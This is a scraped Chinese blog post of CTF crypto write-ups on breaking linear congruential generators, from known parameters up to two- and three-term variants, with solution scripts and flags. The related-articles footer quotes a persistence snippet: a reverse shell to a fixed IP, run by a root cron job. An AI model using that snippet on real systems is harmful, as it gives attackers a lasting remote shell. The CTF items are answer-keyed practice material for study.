记 LCG 例题

news2025/1/16 16:17:02

文章目录

  • 题一(seed,a,b,n,c)
  • 题二(a,b,n,c)
  • 题三(a,n,output[6],output[7])
  • 题四(n,output)
  • 题五(output)
  • 题六(output)
  • 题七(二元LCG)
  • 题八(三元LCG)

(PS:网上有很多原理,这里就不过多赘述了,直接上题)
在这里插入图片描述

题一(seed,a,b,n,c)

题目描述:

from Crypto.Util.number import *
flag = b'Spirit{***********************}'

plaintext = bytes_to_long(flag)
length = plaintext.bit_length()

a = getPrime(length)
b = getPrime(length)
n = getPrime(length)

seed = 33477128523140105764301644224721378964069
print("seed = ",seed)
for i in range(10):
    seed = (a*seed+b)%n
ciphertext = seed^plaintext
print("a = ",a)
print("b = ",b)
print("n = ",n)
print("c = ",ciphertext)
# seed =  33477128523140105764301644224721378964069
# a =  216636540518719887613942270143367229109002078444183475587474655399326769391
# b =  186914533399403414430047931765983818420963789311681346652500920904075344361
# n =  155908129777160236018105193822448288416284495517789603884888599242193844951
# c =  209481865531297761516458182436122824479565806914713408748457524641378381493

解题代码:

from Crypto.Util.number import *
# seed = 66922225691609264283867072422037270235122544465805107339080357133935022024
seed =   33477128523140105764301644224721378964069
a = 216636540518719887613942270143367229109002078444183475587474655399326769391
b = 186914533399403414430047931765983818420963789311681346652500920904075344361
n = 155908129777160236018105193822448288416284495517789603884888599242193844951
c = 209481865531297761516458182436122824479565806914713408748457524641378381493
for i in range(10):
    seed = (a * seed + b) % n

m = c ^ seed
print(long_to_bytes(m))
# Spirit{0ops!___you_know__LCG!!}

题二(a,b,n,c)

题目描述:

from Crypto.Util.number import *
flag = b'Spirit{*****************************}'

plaintext = bytes_to_long(flag)
length = plaintext.bit_length()

a = getPrime(length)
b = getPrime(length)
n = getPrime(length)

seed = plaintext

for i in range(10):
    seed = (a*seed+b)%n
ciphertext = seed

print("a = ",a)
print("b = ",b)
print("n = ",n)
print("c = ",ciphertext)

# a =  59398519837969938359106832224056187683937568250770488082448642852427682484407513407602969
# b =  32787000674666987602016858366912565306237308217749461581158833948068732710645816477126137
# n =  43520375935212094874930431059580037292338304730539718469760580887565958566208139467751467
# c =  8594514452808046357337682911504074858048299513743867887936794439125949418153561841842276

解题代码(直接套用解题公式即可):

import gmpy2
from Crypto.Util.number import *
a =  59398519837969938359106832224056187683937568250770488082448642852427682484407513407602969
b =  32787000674666987602016858366912565306237308217749461581158833948068732710645816477126137
n =  43520375935212094874930431059580037292338304730539718469760580887565958566208139467751467
c =  8594514452808046357337682911504074858048299513743867887936794439125949418153561841842276
seed = c
inv_a = gmpy2.invert(a,n)
for i in range(10):
    seed = (seed - b) * inv_a % n
m = seed
print(long_to_bytes(m))
# Spirit{Orzzz__number_the0ry_master!!}

题三(a,n,output[6],output[7])

from Crypto.Util.number import *
flag = b'Spirit{*********************}'
plaintext = bytes_to_long(flag)
length = plaintext.bit_length()

a = getPrime(length)
seed = getPrime(length)
n = getPrime(length)

b = plaintext

output = []
for i in range(10):
    seed = (a*seed+b)%n
    output.append(seed)
ciphertext = seed

print("a = ",a)
print("n = ",n)
print("output1 = ",output[6])
print("output2 = ",output[7])

# a =  3227817955364471534349157142678648291258297398767210469734127072571531
# n =  2731559135349690299261470294200742325021575620377673492747570362484359
# output1 =  56589787378668192618096432693925935599152815634076528548991768641673
# output2 =  2551791066380515596393984193995180671839531603273409907026871637002460

解题代码(两式相减即可得到b):

a = 3227817955364471534349157142678648291258297398767210469734127072571531
n = 2731559135349690299261470294200742325021575620377673492747570362484359
output1 = 56589787378668192618096432693925935599152815634076528548991768641673
output2 = 2551791066380515596393984193995180671839531603273409907026871637002460
b = output2 - a * output1 % n
print(long_to_bytes(b))
# Spirit{Y0u_@r3_g00d_at__math}

题四(n,output)

from Crypto.Util.number import *
flag = b'Spirit{********************************}'

plaintext = bytes_to_long(flag)
length = plaintext.bit_length()

a = getPrime(length)
b = getPrime(length)
n = getPrime(length)

seed = plaintext
output = []
for i in range(10):
    seed = (a*seed+b)%n
    output.append(seed)


print("n = ",n)
print("output = ",output)
# n =  714326667532888136341930300469812503108568533171958701229258381897431946521867367344505142446819
# output =  [683884150135567569054700309393082274015273418755015984639210872641629102776137288905334345358223, 285126221039239401347664578761309935673889193236512702131697050766454881029340147180552409870425, 276893085775448203669487661735680485319995668779836512706851431217470824660349740546793492847822, 670041467944152108349892479463033808393249475608933110640580388877206700116661070302382578388629, 122640993538161410588195475312610802051543155060328971488277224112081166784263153107636108815824, 695403107966797625391061914491496301998976621394944936827202540832952594905520247784142392337171, 108297989103402878258100342544600235524390749601427490182149765480916965811652000881230504838949, 3348901603647903020607356217291999644800579775392251732059562193080862524671584235203807354488, 632094372828241320671255647451901056399237760301503199444470380543753167478243100611604222284853, 54758061879225024125896909645034267106973514243188358677311238070832154883782028437203621709276]

解题代码(还是那句话,按照推导公式来):
在这里插入图片描述

import gmpy2
from Crypto.Util.number import *
n =  714326667532888136341930300469812503108568533171958701229258381897431946521867367344505142446819
output =  [683884150135567569054700309393082274015273418755015984639210872641629102776137288905334345358223, 285126221039239401347664578761309935673889193236512702131697050766454881029340147180552409870425, 276893085775448203669487661735680485319995668779836512706851431217470824660349740546793492847822, 670041467944152108349892479463033808393249475608933110640580388877206700116661070302382578388629, 122640993538161410588195475312610802051543155060328971488277224112081166784263153107636108815824, 695403107966797625391061914491496301998976621394944936827202540832952594905520247784142392337171, 108297989103402878258100342544600235524390749601427490182149765480916965811652000881230504838949, 3348901603647903020607356217291999644800579775392251732059562193080862524671584235203807354488, 632094372828241320671255647451901056399237760301503199444470380543753167478243100611604222284853, 54758061879225024125896909645034267106973514243188358677311238070832154883782028437203621709276]
inv = gmpy2.invert(output[1] - output[0],n) % n
a = (output[2] - output[1]) * inv % n
b = (output[1] - a * output[0]) % n
inv_a = gmpy2.invert(a,n)
seed = (output[0] - b) * inv_a % n
print(long_to_bytes(seed))
# Spirit{Gr3at__J0b!_You_can_be___better!}

题五(output)

题目描述:

from Crypto.Util.number import *
flag = b'Spirit{****************************************}'

plaintext = bytes_to_long(flag)
length = plaintext.bit_length()

a = getPrime(length)
b = getPrime(length)
n = getPrime(length)

seed = plaintext
output = []
for i in range(10):
    seed = (a*seed+b)%n
    output.append(seed)

print("output = ",output)
# output =  [9997297986272510947766344959498975323136012075787120721424325775003840341552673589487134830298427997676238039214108, 4943092972488023184271739094993470430272327679424224016751930100362045115374960494124801675393555642497051610643836, 6774612894247319645272578624765063875876643849415903973872536662648051668240882405640569448229188596797636795502471, 9334780454901460926052785252362305555845335155501888087843525321238695716687151256717815518958670595053951084051571, 2615136943375677027346821049033296095071476608523371102901038444464314877549948107134114941301290458464611872942706, 11755491858586722647182265446253701221615594136571038555321378377363341368427070357031882725576677912630050307145062, 7752070270905673490804344757589080653234375679657568428025599872155387643476306575613147681330227562712490805492345, 8402957532602451691327737154745340793606649602871190615837661809359377788072256203797817090151599031273142680590748, 2802440081918604590502596146113670094262600952020687184659605307695151120589816943051322503094363578916773414004662, 5627226318035765837286789021891141596394835871645925685252241680021740265826179768429792645576780380635014113687982]

解题代码(先求出n,求出n后,解法和上一题一毛一样):

import gmpy2
from Crypto.Util.number import *
# 逆元求法
MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] # 逆元计算

s = [9997297986272510947766344959498975323136012075787120721424325775003840341552673589487134830298427997676238039214108, 4943092972488023184271739094993470430272327679424224016751930100362045115374960494124801675393555642497051610643836, 6774612894247319645272578624765063875876643849415903973872536662648051668240882405640569448229188596797636795502471, 9334780454901460926052785252362305555845335155501888087843525321238695716687151256717815518958670595053951084051571, 2615136943375677027346821049033296095071476608523371102901038444464314877549948107134114941301290458464611872942706, 11755491858586722647182265446253701221615594136571038555321378377363341368427070357031882725576677912630050307145062, 7752070270905673490804344757589080653234375679657568428025599872155387643476306575613147681330227562712490805492345, 8402957532602451691327737154745340793606649602871190615837661809359377788072256203797817090151599031273142680590748, 2802440081918604590502596146113670094262600952020687184659605307695151120589816943051322503094363578916773414004662, 5627226318035765837286789021891141596394835871645925685252241680021740265826179768429792645576780380635014113687982]
t = []
for i in range(9): # len(out) - 1
    t.append(s[i+1]-s[i])

for i in range(6): # len(t) - 3
    n = gmpy2.gcd(t[i+3] * t[i+1] - t[i+2] * t[i+2],t[i+2] * t[i] - t[i+1] * t[i+1])
    # inv = gmpy2.invert(s[1] - s[0],n) % n # 可恶,这个求逆元竟然报错
    inv = MMI(s[1] - s[0], n) % n
    a = (s[2] - s[1]) * inv % n
    b = (s[1] - a * s[0]) % n
    # inv_a = gmpy2.invert(a,n) 
    inv_a = MMI(a, n)
    seed = (s[0] - b) * inv_a % n
    print(long_to_bytes(seed))
# Spirit{final__lcg__is__co0m1ing__are_you_ready?}

题六(output)

题目描述:

from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
bit_len = m.bit_length()
a = getPrime(bit_len)
b = getPrime(bit_len)
p = getPrime(bit_len+1)

seed = m
result = []
for i in range(10):
    seed = (a*seed+b)%p
    result.append(seed)
print(result)

result = [699175025435513913222265085178805479192132631113784770123757454808149151697608216361550466652878, 193316257467202036043918706856603526262215679149886976392930192639917920593706895122296071643390, 1624937780477561769577140419364339298985292198464188802403816662221142156714021229977403603922943, 659236391930254891621938248429619132720452597526316230221895367798170380093631947248925278766506, 111407194162820942281872438978366964960570302720229611594374532025973998885554449685055172110829, 1415787594624585063605356859393351333923892058922987749824214311091742328340293435914830175796909, 655057648553921580727111809001898496375489870757705297406250204329094679858718932270475755075698, 1683427135823894785654993254138434580152093609545092045940376086714124324274044014654085676620851, 492953986125248558013838257810313149490245209968714980288031443714890115686764222999717055064509, 70048773361068060773257074705619791938224397526269544533030294499007242937089146507674570192265]

解法和上题一毛一样,变换下数据即可

import gmpy2
from Crypto.Util.number import *

MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] # 逆元计算

s = [699175025435513913222265085178805479192132631113784770123757454808149151697608216361550466652878, 193316257467202036043918706856603526262215679149886976392930192639917920593706895122296071643390, 1624937780477561769577140419364339298985292198464188802403816662221142156714021229977403603922943, 659236391930254891621938248429619132720452597526316230221895367798170380093631947248925278766506, 111407194162820942281872438978366964960570302720229611594374532025973998885554449685055172110829, 1415787594624585063605356859393351333923892058922987749824214311091742328340293435914830175796909, 655057648553921580727111809001898496375489870757705297406250204329094679858718932270475755075698, 1683427135823894785654993254138434580152093609545092045940376086714124324274044014654085676620851, 492953986125248558013838257810313149490245209968714980288031443714890115686764222999717055064509, 70048773361068060773257074705619791938224397526269544533030294499007242937089146507674570192265]
t = []
for i in range(9): # len(out) - 1
    t.append(s[i+1]-s[i])

for i in range(6): # len(t) - 3
    n = gmpy2.gcd(t[i+3] * t[i+1] - t[i+2] * t[i+2],t[i+2] * t[i] - t[i+1] * t[i+1])
    # inv = gmpy2.invert(s[1] - s[0],n) % n # 可恶,这个求逆元竟然报错
    inv = MMI(s[1] - s[0], n) % n
    a = (s[2] - s[1]) * inv % n
    b = (s[1] - a * s[0]) % n
    # inv_a = gmpy2.invert(a,n) 
    inv_a = MMI(a, n)
    seed = (s[0] - b) * inv_a % n
    print(long_to_bytes(seed))
# LitCTF{31fcd7832029a87f6c9f760fcf297b2f}

题七(二元LCG)

题目描述:

from secret import flag

assert flag[:5] == b'cazy{'
assert flag[-1:] == b'}'
flag = flag[5:-1]
assert (len(flag) == 24)


class my_LCG:
    def __init__(self, seed1, seed2):
        self.state = [seed1, seed2]
        self.n = getPrime(64)
        while 1:
            self.a = bytes_to_long(flag[:8])
            self.b = bytes_to_long(flag[8:16])
            self.c = bytes_to_long(flag[16:])
            if self.a < self.n and self.b < self.n and self.c < self.n:
                break

    def next(self):
        new = (self.a * self.state[-1] + self.b * self.state[-2] + self.c) % self.n
        self.state.append(new)
        return new


def main():
    lcg = my_LCG(getRandomInteger(64), getRandomInteger(64))
    print("data = " + str([lcg.next() for _ in range(5)]))
    print("n = " + str(lcg.n))


if __name__ == "__main__":
    main()

# data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
# n = 10104483468358610819

解题:
二元LCG就是多了一组生成器,解题思路和一元一样,还是推出相关等式
在这里插入图片描述
代码:

import gmpy2
from Crypto.Util.number import *
data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
n = 10104483468358610819

tmp = [0]
for i in range(1,5):
    tmp.append(data[i] - data[i-1])

a = ((tmp[3] * tmp[2] - tmp[4] * tmp[1]) * gmpy2.invert(tmp[2] * tmp[2] - tmp[3] * tmp[1],n)) % n
b = ((tmp[3] - a * tmp[2]) * gmpy2.invert(tmp[1],n)) % n
c = (data[2] - a * data[1] - b * data[0]) % n
print(b'cazy{' + long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c) + b'}')
# cazy{L1near_Equ4t1on6_1s_34sy}

题八(三元LCG)

题目描述:

from Crypto.Util.number import *
from secret import FLAG
p = getPrime(128)
step = len(FLAG) // 3
xs = [bytes_to_long(FLAG[:step]), bytes_to_long(FLAG[step:2*step]), bytes_to_long(FLAG[2*step:])]
a = getPrime(64)
b = getPrime(64)
c = getPrime(64)
a = 18038175596386287827
b = 15503291946093443851
c = 17270168560153510007
p = 307956849617421078439840909609638388517

for _ in range(10):
    new_state = (a*xs[0] + b*xs[1] + c*xs[2]) % p
    xs = xs[1:] + [new_state]
    #print(xs)
print(xs)
print(a, b, c, p)

(PS:没找到题源,少了数据,xs不知道,哪位小友知道,麻烦告知一下,感谢)
解题:
x_{n+3} = (ax_{n} + bx_{n+1} + cx_{n+2}) % p

xs’ = [x0,x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12]
(其中x0,x1,x2分别是flag中的三部分)
xs = [x3,x4,x5,x6,x7,x8,x9,x10,x11,x12] 已知,又
在这里插入图片描述
直接可以求出x2,然后按这样类似求解x1,x0便出来了,最终flag就出来了
(没有具体数据,我不知道最后结果到底怎样)
持续更新中。。。。。。

参考:https://blog.csdn.net/superprintf/article/details/108964563

https://xie-yuanhao.gitee.io/2022/01/10/Crypto-LCG%E7%BA%BF%E6%80%A7%E5%90%8C%E4%BD%99/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550939.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则&#xff0c;被我们反复使用后、被多数人知晓认可的、然后经过分类编排&#xff0c;…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解&#xff08;求叶子结点数&#xff09;-软件设计&#xff08;七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践&#xff1a; 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍&#xff1a; &#x1f680;自媒体 JavaPub 独立维护人&#xff0c;全网粉丝25w&#xff0c;csdn博客专家、java领域优质创作者&#xff0c;前51ctoTOP10博主&#xff0c;知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好&#xff0c;这里是limou3434的一篇个人博文&#xff0c;感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的&#xff1f;为什么局部变量的值是随机的函数是怎么传参的&#xff1…

【Hadoop】四、Hadoop生态综合案例 ——陌陌聊天数据分析

文章目录 四、Hadoop生态综合案例 ——陌陌聊天数据分析1、陌陌聊天数据分析案例需求1.1、背景介绍1.2、目标需求1.3、数据内容 2、基于Hive数仓实现需求开发2.1、建库建表、加载数据2.2、ETL数据清洗2.3、需求指标统计 3、FineBI实现可视化报表3.1、FineBI的介绍及安装3.2、Fi…

CaDDN 论文学习

1. 解决了什么问题&#xff1f; 单目 3D 目标检测是自动驾驶的重要课题&#xff0c;与一般的多传感器系统相比&#xff0c;它具有简洁、成本低、易部署的优点。单目 3D 检测的主要挑战在于能否准确预测目标的深度。由于缺乏直接的测量手段&#xff0c;我们只能从目标和场景信息…

JavaWeb15 - 线程数据共享和安全 -ThreadLocal

1. 什么是 ThreadLocal ThreadLocal 的作用&#xff0c;可以实现在同一个线程数据共享, 从而解决多线程数据安全问题.ThreadLocal 可以给当前线程关联一个数据(普通变量、对象、数组)set 方法 [源码!]ThreadLocal 可以像 Map 一样存取数据&#xff0c;key 为当前线程, get 方法…

无屏幕时树莓派连接wifi

这种方式需要使用到1根网线有线连接&#xff0c;需要提前准备~ 按照以下步骤操作&#xff1a;   找到wifi然后右键选择“属性”&#xff0c;进入配置页面&#xff1a;   勾选“允许其他网络用户通过此计算机的internet连接”&#xff0c;然后确定&#xff0c;它会提示你…

论文阅读_语音合成_Spear-TTS

论文信息 number headings: auto, first-level 2, max 4, _.1.1 name_en: Speak, Read and Prompt: High-Fidelity Text-to-Speech with Minimal Supervision name_ch: 说话、阅读和提示&#xff1a;少量监督实现高保真文本转语音 paper_addr: http://arxiv.org/abs/2302.0354…

操作系统理解 什么事件可以造成进程的产生和消亡呢?当然有很多这样的事件。对于进程产生来说,主要的事件有:造成进程消亡的事件则可以分为四种情况:

目录 什么事件可以造成进程的产生和消亡呢&#xff1f;当然有很多这样的事件。对于进程产生来说&#xff0c;主要的事件有&#xff1a; 造成进程消亡的事件则可以分为四种情况&#xff1a; 好好理解计算机是人造的&#xff0c;这句话的含义&#xff0c;特别是计算机这是西方人…

【ChatGPT】人工智能发展的背后厉害:跌宕起伏的近百年

文章目录 前言一、麦卡洛克-皮特斯神经元二、赫布式学习三、感知机四、反向传播算法五、卷积神经网络六、递归神经网络七、通用计算GPU芯片八.生成式神经网络与大型语言模型总结 前言 今天&#xff0c;ChatGPT等大型语言预训练神经网络模型已经成为广为人知的名字&#xff0c;…

算法笔记:A2-A4-RSRQ切换算法

1 LTE 切换 LTE切换是移动通信网络中的一个过程&#xff0c;移动设备在保持无间断服务的情况下&#xff0c;将其连接从一个基站切换到另一个基站。当移动设备离开当前基站的覆盖范围或网络资源拥塞时&#xff0c;就需要进行切换。LTE切换通常是基于特定的条件触发的&#xff0…

Ansys Lumerical | FDTD 应用:设计光栅耦合器

本文将设计一个光栅耦合器&#xff0c;将光子芯片表面上的单模光纤连接到集成波导。内置粒子群优化工具用于最大化耦合效率&#xff0c;并使用组件S参数在 INTERCONNECT 中创建紧凑模型。还演示了如何使用 CML 编译器提取这些参数以生成紧凑模型。&#xff08;联系我们获取文章…

第十章 Productions最佳实践 - 路由Production的设计模型

文章目录 第十章 Productions最佳实践 - 路由Production的设计模型配置项应用规范 第十章 Productions最佳实践 - 路由Production的设计模型 本章介绍了客户成功用于构建接口路由解决方案的设计模型。因此&#xff0c;它可以被认为是开发路由制作的最佳实践的集合。 本章仅介…

Go colly爬虫框架精简高效【杠杠的】入门到精通

1 前言 1.1 Go Colly 爬虫介绍 爬虫框架中&#xff0c;各中流行的编程语言都有自己热门框架&#xff0c;python中的selenium、Scrapy、PySpider等&#xff0c;Java中的Nutch、Crawler4j、WebMagic、WebCollector等。golang中colly使用Go语言编写的功能强大的爬虫框架&#xf…

cpp11实现线程池(七)——线程池cached模式设计实现

用vector::size() 获取当前容器元素数量不是线程安全的&#xff0c;所以采用atomic_int 来实现当前容器元素数量的改变能够保证线程安全 线程池成员变量的修改 添加变量记录当前线程数量、空闲线程数量&#xff0c;以及线程数的上限&#xff1a; int threadSizeThreshHold_; …

由浅入深Netty源码分析

目录 1 启动剖析2 NioEventLoop 剖析3 accept 剖析4 read 剖析 1 启动剖析 我们就来看看 netty 中对下面的代码是怎样进行处理的 //1 netty 中使用 NioEventLoopGroup &#xff08;简称 nio boss 线程&#xff09;来封装线程和 selector Selector selector Selector.open();…

Trie与可持久化Trie

Trie Trie&#xff0c;也称为字典树或前缀树&#xff0c;是一种用于高效存储和检索字符串的树形数据结构。它的主要特点是利用字符串的公共前缀来减少存储空间和提高查询效率。下面是对 Trie 的常见操作的介绍&#xff1a; 插入&#xff08;Insertion&#xff09;&#xff1a…

PETRv2 论文学习

1. 解决了什么问题&#xff1f; 过去&#xff0c;一般使用基于单目视觉进行 3D 目标检测。现在进行 3D 任务的方法大致分两类。一类是基于 BEV&#xff0c;将多视角图像映射为 BEV 表征&#xff0c;然后使用 3D 目标检测方法。另一类是基于 DETR&#xff0c;如 DETR3D 和 PETR…